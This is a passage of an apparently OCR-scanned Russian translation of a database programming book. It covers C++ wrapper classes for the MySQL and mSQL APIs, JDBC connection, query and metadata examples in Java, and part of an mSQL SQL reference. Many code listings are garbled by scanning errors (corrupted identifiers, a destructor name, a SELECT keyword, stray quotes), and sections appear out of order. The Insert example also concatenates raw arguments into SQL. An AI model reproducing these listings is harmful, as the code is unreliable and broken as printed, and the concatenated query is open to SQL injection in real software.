    В объектно-ориентированной среде это единственный тип навигации, которым вы должны пользоваться. API для базы данных в объектно-ориентированном программировании существует лишь для обеспечения извлечения данных, а не их обработки. Обработка данных должна быть заключена в объектах доменов. Однако не все приложения являются объектно-ориентированными. MySQL и mSQL предоставляют функции, позволяющие перемещаться к определенным строкам в базе данных. Это методы mysql_data_seek() mnsqlDataSeek() соответственно.

    Освобождение ресурсов и подсчет строк

    Приложения баз данных должны освобождать после себя ресурсы. Обсуждая класс Connection, мы отметили, как результирующие наборы, порождаемые запросом, помещаются в память, управляемую приложением. Метод Close() класса Result освобождает память, занятую этим результатом. Пример 13-10 показывает, как освободить ресурсы, занятые результатом, и получить количество строк в нем.

    Пример 13-10. Освобождение ресурсов и подсчет числа строк

    void Result::Close() {

    if( result == (T_RESULT *)NULL ) { return;

    }

    #if defined(HAS_MSQL)

    msqlFreeResult(result);

    #elif defined(HAS_MYSQL)

    mysql_free_result(result);

    #else

    #error Нет соединения с базой данных, ftendif

    result = (TJESULT *)NULL; '

    }

    int Result::GetRowCount()

    {


    if( result == (T_RESULT *)NULL )

    {

    throw "Результирующий набор закрыт.";

    }

    if( row_count > -1 )

    {

    return row_count;

    }

    else

    {

    #if defined(HAS_MSQL)

    row_count = msqlNumRows(result);

    #elif defined(HAS_MYSQL)

    row_count = mysql_num_rows(result);

    #else

    #error Нет соединения с базой данных,

    #endif

    return row_count;

    }

    }

    Строки

    Отдельная строка результирующего набора представляется в нашей объектной модели классом Row. Класс Row позволяет приложению извлекать отдельные поля строки. В примере 13-11 показано объявление класса Row.

    Пример 13-11. Объявление класса Row в row.h

    #ifndef l_row_h

    #define l_row_h

    #include

    #if defined(HAS_MSQL)

    #include

    #define T_RESULT m_result

    #define T_ROW m_row

    #elif defined(HAS_MYSQL)

    #include

    #define T_RESULT MYSQL_RES

    #define T_ROW MYSQL_ROW

    #endif

    class Row { private:

    T_RESULT 'result;

    T_ROW fields;

    public:

    Row(T_RESULT *, T_ROW);

    ~Row();

    char *GetField(int);

    int GetFieldCount();

    int IsClosed();

    void Close();

    };

    #endif // l_row_h

    В обоих API есть макросы для типов данных, представляющие результирующий набор и строку внутри него. В обоих API строка является массивом строк, содержащих данные этой строки, и ничем более. Доступ к этим данным осуществляется по индексу массива в порядке, определяемом запросом. Например, для запроса SELECT user_id , password FROM users индекс 0 указывает на имя пользователя и индекс 1 -на пароль. Наш C++ API делает это индексирование несколько более дружественным для пользователя. GetField(1) возвратит первое поле, или f ields[0]. Пример 13-12 содержит полный листинг исходного кода для класса Row.

    Пример 13-12. Реализация класса Row

    #include

    #include "row.h"

    Row::Row(T_RESULT *res, T_ROW row) {

    fields = row;

    result = res; }

    Row::"Row() {

    if( ! IsClosed() ) {

    Close();

    }

    }

    void Row::Close() {

    if( IsClosed() ) {

    throw "Строка освобождена.";


    }

    fields = (T_ROW)NULL;

    result = (T_RESULT *)NULL;

    }

    int Row::GetFieldCount()

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    } #if defined(HASJISQL)

    return msqlNumFields(result);

    #elif defined(HAS_MYSQL)

    return mysql_num_fields(result);

    #else

    #error Нет соединения с базой данных,

    #endif }

    // При вызове этого метода нужно быть готовым

    // к тому, что может быть возвращен

    NULL, char *Row::GetField(int field)

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    }

    if( field < 1 || field > GetFieldCount() .)

    { throw "Индех лежит вне допустимых значений.";}

    return fields[field-1]; }

    int Row::IsClosed() {

    return (fields == (T_ROW)NULL); }

    Пример приложения, использующего эти классы C++, прилагается к книге.

    Что такое JDBC?

    Как и все Java API, JDBC является набором классов и интерфейсов, в совокупности поддерживающих определенный набор функций. В случае JDBC эти функции обеспечивают доступ к базе данных. Классы и интерфейсы, составляющие JDBC API, являются, таким образом, абстракциями понятий, общих при доступе к базам данных любого типа. Например, Connection является интерфейсом Java, представляющим соединение с базой данных. Аналогично ResultSet представляет результирующий набор данных, возвращаемый командой SQL SELECT. Классы, образующие JDBC API, находятся в пакете Java, sql, который был введен Sun в JDK 1.1.

    Естественно, что конкретные детали доступа к базе данных зависят от ее изготовителя. JDBC фактически не имеет дела с этими деталями. Большая часть классов в пакете Java.sql является интерфейсами без реализации. Реализация этих интерфейсов осуществляется производителем базы данных в виде драйвера JDBC. В качестве программиста баз данных вам нужно знать очень немногое относительно драйвера, который вы используете, — все остальное делается через интерфейсы JDBC. Специфическая информация о базе данных, которая необходима для использования JDBC, включает в себя:

  • URL для драйвера JDBC.

  • Имя класса, реализующего Java. sql. Driver.

    Что такое JDBC?В новую спецификацию JDBC 2.0 включено необязательное для реализации производителями баз данных стандартное расширение API. Если поставщик вашей базы данных JDBC реализовал это стандартное расширение, вам даже нет необходимости знать JDBC URL или реализацию класса Driver. Это расширение предусматривает наличие класса DataSource, который можно найти по имени в каталоге с поддержкой JNDI.

    Оба эти элемента можно получить во время выполнения - из командной строки или файла свойств. Сам код программы не ссылается на эти два зависящие от реализации элемента. Мы разъясним, что делают JDBC URL и класс Driver в тех параграфах, где будем рассказывать о соединении с базами данных. На рисунке 14-1 представлена схема интерфейсов JDBC.

    JNDI - Java Naming and Directory Interface (интерфейс имен и каталогов Java) API. Он позволяет запоминать объекты Java в службе имен и каталогов, такой как сервер Lightweight Directory Access Protocol (облегченный протокол доступа к каталогам - LDAP), и находить их по имени.


    Что такое JDBC?

    Рис. 14-1. Классы и интерфейсы, входящие в JDBC API

    Соединение с базой данных

    Прежде всего нужно соединиться с базой данных. Один из немногих реализованных в пакете Java. sql. package классов - это класс DriverManager. Он поддерживает список реализаций JDBC и обеспечивает создание соединений с базами данных на основе сообщаемых ему JDBC URL. URL для JDBC имеет вид jdbc:protocol:subprotocol. Он сообщает DriverManager, с какой СУБД нужно соединиться, и передает ему данные, необходимые для осуществления соединения.

    Что такое JDBC?Смысл слова "driver" в JDBC зависит от контекста. При написании в нижнем регистре JDBC driver является собранием классов, в совокупности реализующих все интерфейсы JDBC и обеспечивающих приложение доступом хотя бы к одной базе данных. При написании Driver с заглавной буквы подразумевается класс, реализуемый в Java. sql. Driver. И наконец, JDBC предоставляет интерфейс DriverManager, с помощью которого можно вести учет всех различных реализаций Driver.

    Часть URL, обозначающая протокол, ссылается на конкретный драйвер JDBC. В случае MySQL и mSQL протоколами являются ту sql и msql соответственно. Субпротокол сообщает данные соединения, специфические для реализации. Для соединения с MySQL и mSQL требуются имя узла и имя базы данных. Дополнительно может потребоваться номер порта, если ядро базы данных запущено не как root. Поэтому полный URL для mSQL выглядит как, например, jdbc:msql://athens.imagi-nary.com: 1114/test. Он сообщает DriverManager о необходимости найти драйвер JDBC для mSQL и соединиться с базой данных test на athens.imaginary.com через порт 1114. Это делается путем единственного обращения к методу getConnection() интерфейса DriverManager. В примере 14-1 показано, как осуществить соединение с базой данных mSQL.

    Пример 14-1. Отрывок кода из примеров, предоставляемых с драйвером JDBC для mSQL, показывающий, как осуществить соединение

    import java.sql.*;

    public class Connect { public static void main(String argv[]) {

    Connection con = null;


    try {

    // Вот JDBC URL для этой базы данных

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    // 0 том, что делают классы Statement и ResultSet, ниже Statement stmt; ResultSet rs;

    // передать это как свойство, т.е.

    // -Djdbc.drivers=com.imaginary.sql.msql.MsqlDriver

    // или загрузить, как сделано в этом примере

    Class.fоrName("com.imaginary, sql. msql. MsqlDriver");

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    }

    catch( SQLException e ) {

    e.printStackTrace(); }

    finally {

    if( con != null ) {

    try { con.close();

    }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере соединение с базой данных осуществляется в строке con=DriverManager.getConnection(url, "borg", ""). В данном случае JDBC URL и имя класса, реализующего Driver, фактически введены в код приложения. В демонстрационной программе это допустимо, но всякое серьезное приложение должно загружать эти данные из файла свойств, получать через аргументы командной строки или из свойств системы. Реализация Driver будет автоматически загружена, если передать ее как системное свойство jdbc.drivers - иными словами, не нужно вызывать Class. ForName(). newlnstance(driver_name), если вы передаете имя драйвера как системное свойство jdbc.drivers. Второй и третий аргументы getConnection() передают ID пользователя и пароль, необходимые для установления соединения. Поскольку mSQL не использует пароли для авторизации пользователей, в примере используется пустая строка. Для MySQL же необходимо сообщить пароль.

    Поддержка переносимости с помощью файлов свойств

    Хотя наше внимание сосредоточено на двух конкретных базах данных, хорошей практикой программирования на Java является обеспечение полной переносимости приложений. Под переносимостью обычно подразумевается, что вы не пишете код, предназначенный для выполнения только на какой-то одной платформе. Однако для Java термин "переносимость" имеет более сильный смысл. Он означает независимость от аппаратных ресурсов и независимость от базы данных.


    Мы сказали о том, что JDBC URL и имя Driver зависят от реализации, но не сказали, как избежать их включения в код. Поскольку и то, и другое представляет собой простые строки, их можно передать в качестве параметров командной строки или как параметры апплетов. Это работающее, но едва ли элегантное решение, поскольку оно требует, чтобы пользователь помнил длинные командные строки. Аналогичное решение - выдавать пользователю приглашение для ввода этих данных, которое опять-таки требует, чтобы пользователь вспоминал JDBC URL и имя класса Java при каждом запуске приложения.

    Более изящное решение получается при использовании файла свойств. Файлы свойств поддерживаются классом Java. util. Resource-Bundle и его подклассами, позволяя приложению извлекать данные, относящиеся ко времени исполнения, из текстового файла. Для приложения, использующего JDBC, можно вставить в файл свойств URL и имя Driver, возложив на администратора приложения обязанность указать детали соединения. Пример 14-2 показывает файл свойств,

    предоставляющий данные о соединении.

    Пример 14-2. Файл SelectResource.properties с подробностями соединения

    Driver=com.imaginary.sql.msql.MsqlDriver

    URL=jdbc:msql://athens.imaginary.com:1114/db_test

    В примере 14-3 показан переносимый класс Connection.

    Пример 14-3. Специфические данные

    import java.sql.*; import java.util.*;

    public class Connect {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");

    Statement stmt; ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", ""); }

    catch( SQLException e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере установления соединения мы избавились от кода, специфичного для mSQL. Однако для разработчиков переносимых JDBC-приложений остается одна важная проблема, особенно касающаяся тех, кто работает с mSQL. JDBC требует, чтобы все драйверы поддерживали начальный уровень (entry level) SQL2. Это стандарт ANSI минимальной поддержки SQL. Если при вызовах JDBC вы поддерживаете начальный уровень SQL2, то ваше приложение будет стопроцентно переносимо на другие базы данных. MySQL поддерживает минимальный уровень SQL2, a mSQL - увы, нет. Приложения, написанные для mSQL, скорее всего, без проблем будут переноситься на другие базы данных, но приложения, написанные с использованием начального уровня SQL92, в полном объеме нельзя будет безболезненно перенести обратно на mSQL.



    Динамический доступ к базе данных

    До сих пор мы имели дело с приложениями, в которых во время компиляции точно известно, что нужно будет делать. Если бы это был единственный тип поддержки, обеспечиваемый JDBC, никто не смог бы написать для Mysql и msql интерактивные инструменты командной строки, способные во время исполнения принимать команды SQL и выполнять их. Класс JDBC Statement поддерживает метод execute() для выполнения SQL-команд, которые могут быть запросами или обновлениями. Кроме того, экземпляры ResultSet обеспечивают предоставление о себе информации времени исполнения через интерфейс с именем ResultSetMetaData, доступ к которому осуществляется через вызов метода getMetaData() для ResultSet.

    Метаданные

    Термин метаданные звучит официозно, но на самом деле это не более чем дополнительные данные о некотором объекте, которые, если бы действительно хранились в объекте, просто зря тратили бы ресурсы. Например, для простых приложений не нужны имена колонок, связанных с результирующим набором ResultSet: программисту они, скорее всего, известны во время написания программы. Поэтому помеще

    ние этих дополнительных данных в класс ResultSet не рассматривается разработчиками JDBC как нечто существенное для функциональности ResultSet. Однако в некоторых случаях программирования баз данных i такие вещи, как имена колонок, очень важны, особенно при осуществлении динамического доступа к базам данных. Доступ к этим дополнительным данным - метаданным - разработчики JDBC обеспечили через интерфейс ResultSetMetaData. Этот класс позволяет узнать:

  • Число колонок в результирующем наборе.

  • Является ли NULL допустимым значением в колонке.

  • Метку, используемую для заголовка колонки.

  • Имя заданной колонки.

  • Таблицу, служащую источником данных для данной колонки.

  • Тип данных колонки.

    Другим примером класса, поставляемым вместе с драйвером mSQL-JDBC, является приложение Exec. Оно принимает любую команду SQL, задаваемую в командной строке, и выполняет ее. В примере 14-6 приводится соответствующий исходный код.


    Пример 14-6. Исходный код приложения Exec для выполнения динамического SQL

    import java.sql.*;

    public class Exec {

    public static void main(String args[]) {

    Connection con = null; String sql = "";

    for(int i=0; i
    sql = sql + args[i];

    if( i < args.length - 1 ) {

    sql = sql + " ";

    }

    }

    System, out. рrintln("Выполнение: " + sql);

    try {

    Class.forName("com.imaginary. sql.msql.MsqlDriver").newlnstance();

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    con = DriverManager.getConnection(url, "borg", "");

    Statement s = con.createStatement();

    if( s.execute(sql) ) {

    ResultSet r = s.getResultSet();

    ResultSetMetaData meta = r.getMetaData();

    int cols = meta.getColumnCount();

    int rownum = 0;

    while( r.next() ) { rownum++;

    System, out. println("Crpокa: " + rownum);

    for(int i=0; i
    System.out.print(meta.getColumnLabel(i+1) + ": ' + r.getObject(i+1) + ", ");

    }

    System.out.println("");

    }

    }

    else

    {

    System.out.println(s.getUpdateCount() + " строк обработано.");

    }

    s.close();

    con.close();

    }

    catch( Exception,e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close();

    }

    catch( SQLException e ) { }

    }

    }

    }

    }

    Для каждого результирующего набора обеспечивается получение экземпляра ResultSetMetaData с помощью метода getMetaData(). При динамическом доступе к базе данных необходимо узнать, сколько колонок в результирующем наборе, чтобы с уверенностью извлечь все колонки и их имена для вывода пользователю. Метаданные нашего результирующего набора обеспечивают получение всех этих данных с помощью методов getColumnCount() и getColumnLabel().

    Обработка динамического SQL

    В примере 14-6 введено понятие динамического вызова SQL. Поскольку мы не знаем, будет это запрос на получение данных или обновление, нужно передать вызов SQL через метод execute (). Этот метод возвращает true, если команда возвратила результирующий набор, и false в противном случае. В нашем примере, если возвращается true, то приложение получает возвращаемый ResultSet через вызов метода getResultSet(). Затем приложение может перейти к обычной обработке результирующего набора. Если, напротив, команда произвела какую-либо модификацию базы данных, можно вызвать метод getUpdateCu-unt() для подсчета числа строк, модифицированных командой.



    К несчастью, каждый API позволяет

    Java u JDBC

    В главе 13 "Си C++", мы познакомили вас с С API для MySQL и mSQL. К несчастью, каждый API позволяет писать программы только для той базы данных, которую он поддерживает. Если вы собираетесь переносить приложение между MySQL и mSQL или, того хуже, хотите, чтобы оно работало на Oracle, Sybase или с любой другой СУБД, вам необходимо переписать свой код так, чтобы он использовал фирменный API этого ядра. Однако Java-программисты по большей части избавлены от проблем переносимости на другую базу данных. У них есть единый API, Java DataBase Connectivity API (JDBC), обеспечивающий их унифицированным интерфейсом ко всем SQL-базам данных.

    Поскольку JDBC является единым интерфейсом ко всем базам данных, достаточно изучить его, чтобы писать приложения, которые будут работать как с MySQL, так и с mSQL. На самом деле, если должным образом использовать JDBC, то написанные вами на Java приложения смогут работать с любой СУБД. Если у вас есть доступ к другим базам данных, кроме MySQL и mSQL, можете проверить верность этого утверждения, запустив примеры данной главы с другой базой данных.

    Для чтения этой главы предполагается знание основ языка программирования Java и лежащих в его основе концепций. Если такой подготовки у вас нет, настоятельно рекомендуем посмотреть "Exploring Java" (O'Reilly & Associates, Inc.). Узнать более подробно о том, как создавать многоуровневые приложения баз данных, о чем мы рассказывали в главе 8 "Архитектуры приложений баз данных", можно из книги "Database Programming with JDBC and Java" (O'Reilly & Associates, Inc.).



    Простой доступ к базе данных

    В примере Connect делалось не много. В нем было просто показано, как соединиться с базой данных. В соединении с базой данных нет пользы, пока вы не начинаете действительно обмениваться с ней данными. Простейшие виды доступа к базе данных - команды SELECT, INSERT, UPDATE и DELETE. В JDBC API вы используете экземпляр Connection для создания экземпляров класса Statement. Класс Statement представляет SQL-команду любого типа. В примере 14-4 показано, как вставить строку в базу данных, используя Statement.

    Пример 14-4. Вставка строки в mSQL с помощью объекта JDBC Statement

    import Java, sql.*;
    import Java, util.*;

    public class Insert {

    // Делаем вставку в таблицу, имеющую две колонки: test_id (int)

    // и test_val (char(55))

    // args[0] - это test_id, a args[1] - test_val

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");
    Statement stmt;

    Class.forName(bundle.getString("Driver"));

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    stmt = con.createStatement();

    stmt.executeUpdate("INSERT INTO test (test_id, test_val) " +

    "VALUES(" + args[0] + ", '," + args[1] + ")");
    }
    catch( SQLException e )
    {

    e. printStackTrace();
    }
    finally
    {

    if( con != null )
    {

    try { con.close();
    }
    catch( Exception e ) { }

    }
    }
    }
    }

    В реальном приложении мы бы, конечно, проверили, что пользователь ввел значение типа INT для test_id, что оно уникально, и что длина введенного значения test_val не превышает 55 символов. Тем не менее пример показывает, как просто осуществлять вставку данных. Метод createStatement() делает то, о чем говорит его название: создает пустую SQL-команду, связанную с рассматриваемым соединением - объектом Connection. Затем метод executeUpdate() передает заданную строку SQL базе данных для выполнения. Как подсказывает название, executeUp-date() ожидает команды SQL, которая некоторым образом модифицирует базу данных. Вы можете использовать ее, чтобы вставлять новые строки, как показано выше, либо удалять строки, обновлять строки, создавать новые таблицы или производить любые другие изменения в базе данных.


    Запросы выполнять немного сложнее, чем обновления, поскольку они возвращают информацию из базы данных в виде объекта ResultSet. ResultSet является интерфейсом, представляющим 0 или более строк, являющихся результатом запроса, обращенного к базе данных. В классе JDBC Statement имеется метод executeQuery(), работающий подобно executeUpdate(), за исключением того, что он возвращает из базы данных ResultSet. Метод executeQuery() возвращает ровно один ResultSet, тем не менее имейте в виду, что JDBC поддерживает извлечение множественных результирующих наборов для тех баз данных, которые это позволяют. Ни MySQL, ни mSQL не поддерживают множественные результирующие наборы. Однако важно помнить о такой возможности, когда вы изучаете код для работы с иным ядром базы данных, написанный кем-то другим. В примере 14-5 показан простой запрос. На рис. 14-2 изображена модель данных з таблице test.

    Пример 14-5. Простой запрос

    import Java, sql.*;

    import Java, util.*;

    public class Select {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle =ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL"); Statement stmt;

    ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager,getConnection(url, "borg", "");

    stmt = con.createStatement();

    rs = stmt .executeQuery("SFI FCT* from test ORDER BY test_id");

    System, out.print In("Полученные результаты:");

    while(rs. next()) {

    int a= rs.getInt("test_icT);

    String str = rs.getString("test_val");

    System.out.print(" ключ= " + a);

    System.out.print(" строка= " + str);

    System.out.print("\n");

    }

    stmt.close();

    }

    catch( SQLException e )

    {

    e. printStackTrace();

    }

    finally {

    if( con != null ) {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    Приложение Select выполняет запрос и затем проходит по всем строкам ResultSet с помощью метода next(). До первого обращения к next() ResultSet не указывает ни на какую строку. Каждый вызов next () настраивает ResultSet на следующую строку. JDBC 2:0 вводит понятие результирующего набора с перемещением (scrollable). Если ваш экземпляр ResultSet позволяет перемещение, можно также обращаться к методу previous() для перемещения по результирующему набору в обратном направлении. Обработка строк заканчивается, когда next () возвращает false.


    Простой доступ к базе данных

    Рис. 14-2. Таблица test из учебной базы данных

    Работа со строкой означает получение значений для каждой колонки. Каково бы ни было значение в базе данных, можно использовать методы ResultSet для получения значения колонки с любым типом данных Java, который вас устраивает. В приложении Select вызов метода gе tInt() возвращал колонку test_id как int, а вызов getString() возвращал значение колонки test_val как String. Эти методы получения значения колонки принимают либо номер колонки, начиная с 1, либо ее имя. Следует, однако, всеми силами избегать извлечения значений с помощью имен колонок, поскольку такой способ значительно медленнее, чем получение их с помощью номеров колонок.

    Обработка ошибок и освобождение ресурсов

    Все методы JDBC могут возбуждать SQLException или один из подклассов этого класса, если что-то происходит при обращении к базе данных. Ваш код должен уметь перехватывать исключительную ситуацию, обрабатывать ее и освобождать все размещенные в памяти ресурсы базы данных. Все перечисленные до сих пор классы JDBC имеют метод close(). Однако на практике вы должны обеспечить закрытие только тех объектов, которые вызваны процессами, продолжающими оставаться открытыми. В приведенных до сих пор примерах практически требовалось закрыть только соединение с базой данных. При закрытии соединения автоматически закрываются все связанные с ним команды и результирующие наборы. Однако если вы намерены сохранить соединение открытым в течение некоторого времени, будет правильным поспешить закрыть все объекты statement, которые вы создали с использованием этого соединения, когда они вам больше не нужны. В примерах JDBC, которые вы видели, это освобождение ресурсов производится в предложении finally. Это делается для того, чтобы обеспечить закрытие соединения независимо от того, что произойдет.



    Серверное приложение гостевой книги

    Вы, вероятно, немало слышали об апплетах Java. Однако в главе 8 мы говорили о том, что доступ к базам данных на стороне клиента является плохой идеей. В примеры к этой книге мы включили реальное приложение, использующее сведения о JDBC, изложенные в этой главе, для создания класса Java на стороне сервера. Такие приложения называются сервлеты (servlet). Хотя серверные приложения сами по себе не являются частью трехзвенной архитектуры, обсуждавшейся нами в главе 8, данный пример хорошо иллюстрирует возможности использования JDBC. Это серверное приложение является Web-страницей, позволяющей посетителям вашего сайта оставить свое мнение о нем. Оставленные комментарии могут просматриваться другими посетителями. Все, что вам нужно знать о серверных приложениях для понимания этого примера, это то, что метод doPost() обрабатывает события HTTP POST, a de-Get () обрабатывает события HTTP GET.

    В этом приложении две части: часть get и часть post. В обеих частях производится вызов метода printComments() для показа комментариев, оставленных в гостевой книге. В этом методе мы находим нечто, не встречавшееся нам в простых предыдущих примерах: вызов метода wasNull() после каждого извлечения значения колонки. Как и можно предположить из названия, wasNull() возвращает t rue, если последнее извлеченное значение было NULL в смысле SQL. В вызовах, возвращающих объект Java, значение обычно будет NULL, если при чтении из базы данных был получен NULL. Использование wasNull() в таких случаях может показаться излишним. Однако для простых типов данных выборка может возвращать допустимое значение. Метод wasNull() позволяет узнать, не было ли в базе данных значения NULL. Например, NULL в колонке целого типа возвращает 0 при вызове getlnt(). Чтобы узнать, что было в колонке - 0 или NULL, нужно вызвать wasNull().

    Часть III.

    Справочник

    В этой части приводится справочная информация по всем API и утилитам, упоминаемым в книге.



    MSQLSQL

    CREATE

    CREATE TABLE name field_name field_type, [field2 type2, ...]
    CREATE SEQUENCE ON table [STEP value] [VALUE value]
    CREATE INDEX name ON table ( column, ...)

    Создает новые элементы базы данных (или полностью новые базы). Предложение используется для создания БД, таблиц, индексов и счетчиков.

    CREATE SEQUENCE создает счетчик на таблицу. Счетчик - это простое значение, связанное с таблицей, за которым следит сервер mSQL. Наиболее часто счетчик используют для создания уникальных идентификаторов в таблицах. При прочтении значение счетчика каждый раз инкрементируется. Спецификатор STEP указывает на какое значение каждый раз инкрементируется счетчик. Спецификатор VALUE задает начальное значение счетчика.

    Оператор CREATE INDEX определяет индекс для таблицы. Система mSQL поддерживает индексы, содержащие более одного поля. Вы должны дать индексу имя, необязательно осмысленное, поскольку конечным пользователям редко необходим доступ к индексам.

    CREATE TABLE определяет структуру таблицы в базе данных. Этим оператором создаются все таблицы mSQL. Предложение состоит из имени таблицы, за которым идет любое количество определений полей. Синтаксис определения полей включает в себя имя поля, затем его тип, за которым следует любой модификатор (например: name char(30) not null). mSQL поддерживает следующие типы данных:

    CHAR (length)

    Текстовое значение фиксированной длины. Никакое значение не может быть больше заданной длины.

    DATE

    Стандартный тип даты.

    INT

    Стандартное четырехбайтовое целое в диапазоне от -2147483646 до 2147483647.

    MONEY

    Денежный тип, подходящий для аккуратного хранения денежных значений. Тип позволяет хранить десятичные значения (как 19.99) без необходимости использовать тип числа с плавающей запятой.

    REAL

    Стандартное восьмибайтовое число с плавающей запятой. Минимальные ненулевые значения +/-4.94Е-324 и максимальные значения +/- 1.79Е+308.

    ТЕХТ( length)

    Текстовое значение переменной длины. Заданная длина - это максимальное значение для большинства данных, однако могут быть введены и более длинные данные.


    TIME

    Стандартный тип времени.

    UINT

    Стандартное четырехбайтовое беззнаковое целое. Диапазон от 0 до 4294967295.

    В дополнение к основным типам могут быть использованы несколько спецификаторов для уточнения свойств типа:

    length

    Это является максимальной длиной символьного типа. Для типа CHAR это абсолютный максимум, для типа TEXT это приблизительный максимум, применяющийся только к большинству данных. Более длинные данные могут быть введены в поле TEXT, однако это замедлит операции с таблицей.

    NOT NULL

    Указывает, что поле не может содержать нулевое значение. Попытка ввести в это поле такое значение вызовет ошибку.

    Примеры

    # Создать 'простую таблицу

    CREATE TABLE emp_data ( id INT, name CHAR(50) )

    # Добавить счетчик к таблице 'checks' с начальным значением '1000' и # шагом инкрементации по умолчанию (1)

    CREATE SEQUENCE ON checks VALUE 1000

    # Создать индекс для таблицы 'music', включающий в себя

    # поля 'artist','publisher' и 'title'.

    CREATE INDEX idxl O.N music ( artist, publisher, title )

    DELETE

    DELETE FROM table [WHERE clause]

    Удаляет запись из таблицы. Если применяется без предложения WHERE, будет полностью удалена вся таблица, а затем создана новая пустая

    таблица. С использованием WHERE будут удалены записи, отвечающие условиям выражения.

    Примеры

    # Стереть все данные из таблицы 'olddata'(no не саму таблицу). DELETE FROM olddata

    # Стереть все записи в таблице 'sales', в которых поле 'year' равно '1995', DELETE FROM sales WHERE year=1995

    DROP

    DROP INDEX name DROP TABLE name DROP SEQUENCE FROM table

    Полностью удаляет таблицу, индекс или счетчик из системы mSQL.

    MSQLSQLDROP - это, возможно, самое опасное из выражений SQL. Если вы имеете право на выполнение команд DROP, вы можете полностью стереть таблицу или даже целую базу данных. Это произойдет без предупреждения или запроса на подтверждение. Единственный способ отменить DROP - восстановление базы данных из резервной копии. Поэтому следует запомнить два правиле: (1) всегда сохраняйте резервную копию вашей базы (backup); (2) не используйте DROP до тех пор, пока вы полностью не уверены в том, что это необходимо.


    Примеры

    # Удалить таблицу 'oh_no'. DROP TABLE oh_no

    # Удалить индекс с именем 'my_index' DROP INDEX my_index

    # Стереть счетчик для таблицы 'counter'. Другой счетчик может быть

    # создан в любое время с помощью команды 'CREATE SEQUENCE'.

    DROP SEQUENCE FROM counter

    INSERT

    INSERT INTO table [ (column, ...) ] VALUES ( values )

    Записывает данные в таблицу. Этот оператор вставит указанные значения в заданные столбцы. Поля, значения которых не указаны, получат значение NULL. Если вы не зададите список столбцов, число указанных значений должно точно совпадать с числом столбцов в таблице.

    Примеры

    # Добавить запись в таблицу'people'.

    INSERT INTO people ( name, rank, serial_number )

    VALUES ( 'Bob Smith', 'Captain', 12345 )

    SELECT

    SELECT [DISTINCT] columns FROM table [clause]

    Выбирает данные из таблицы. Оператор SELECT является основным методом чтения данных из таблиц баз данных.

    Если вы укажете несколько таблиц, mSQL автоматически объединит таблицы для сравнения записей.

    Если указано ключевое слово DISTINCT, будет показана только одна запись из каждой группы одинаковых записей возвращаемого набора.

    Имена столбцов могут быть указаны как column или как table, column . Длинная форма необходима только для того, чтобы отличать столбцы с одинаковыми именами, но ее можно использовать в любое время (например, SELECT name FROM people; SELECT people, name FROM people ).

    Список таблиц для соединения указывается как Table1, Table2, Tab-1еЗ, .... Таблицы будут соединены таким образом, как mSQL сочтет наиболее эффективным. Именам таблиц могут быть присвоены псевдонимы (например, SELECT t1.name, t2.address FROM Iong_table_name=t1, Ionger_table_name=t2 ). Если не указано выражение clause, SELECT вернет все данные из выбранной таблицы (или таблиц).

    Выражение отбора записей может содержать следующие операторы:

    WHERE

    Конструкция WHERE является основным способом поиска данных в SQL. В конструкции сравниваются два и более значений. Можно использовать значения с именами (такие как имена столбцов и псевдонимы), числовые константы и строки. Поддерживаются следующие операторы:


    AND

    Выполняет логическое И ( вернет 0, если хоть один из аргументов равен 0, иначе вернет 1).

    OR

    Выполняет логическое ИЛИ (возвращает 1, если любой из аргументов не равен 0, иначе возвращает 0).

    ()

    Скобки используются для группировки операторов, чтобы указать старшинство.

    =

    Возвращает 1, если два значения совпадают, иначе вернет 0. mSQL автоматически преобразует типы при сравнении значений.

    <>

    Возвращает 1, если два значения не совпадают, иначе возвращает 0.

    <=

    Возвращает 1, если левое значение меньше или равно правому, иначе возвращает 0.

    <

    Возвращает 1, если левое значение меньше, чем значение справа, иначе возвращает 0.

    >=

    Возвращает 1, если левое значение больше или равно правому, иначе возвращает 0.

    >

    Возвращает 1, если левое значение больше правого, иначе возвращает 0.

    ORDER BY column [DESC][, column2 [DESC],...]

    Сортирует возвращаемые данные по заданному столбцу (или столбцам). Если указать DESC, данные будут отсортированы в порядке убывания, иначе будет использована сортировка по возрастанию (например, SELECT name, age FROM people ORDER BY age DESC ).

    value1 LIKE value2

    Сравнивает valuel и value2 и возвращает 1, если они совпадают. Значение справа может содержать знак подстановки " % ", который заменяет любое количество символов (в том числе и отсутствие символа), и знак '_', замещающий в точности один символ. Это, возможно, наиболее употребительное в SQL сравнение. Чаще всего используется сравнение поля с некоторой строкой, содержащей знак подстановки (например, SELECT name FROM people WHERE name LIKE 'B%' ).

    value1 RLIKE value2

    Сравнивает valuel и value2, используя расширенный синтаксис регулярных выражений, и возвращает 1, если они совпадают. Значение справа может содержать полные подстановочные выражения и конструкции Unix (например, SELECT name FROM people WHERE name RLIKE '^В. *').

    value1 CLIKE value2

    Сравнивает value1 с value2, используя нечувствительную к регистру версию оператора LIKE (например, SELECT name FROM people WHERE name CLIKE 'b%' ).

    Предложение WHERE возвращает все записи, для которых значение заданного выражения не равно 0 или NULL. Таким образом, SELECT age FROM people WHERE age>10 вернет только те записи, где 'ages' больше 10.

    Примеры

    # Найти все имена (пате)в таблице 'people', у которых поле 'state' равно 'МI'. SELECT name FROM people WHERE state='MI' # Показать все данные из таблицы 'mytable'. SELECT * FROM mytable

    UPDATE

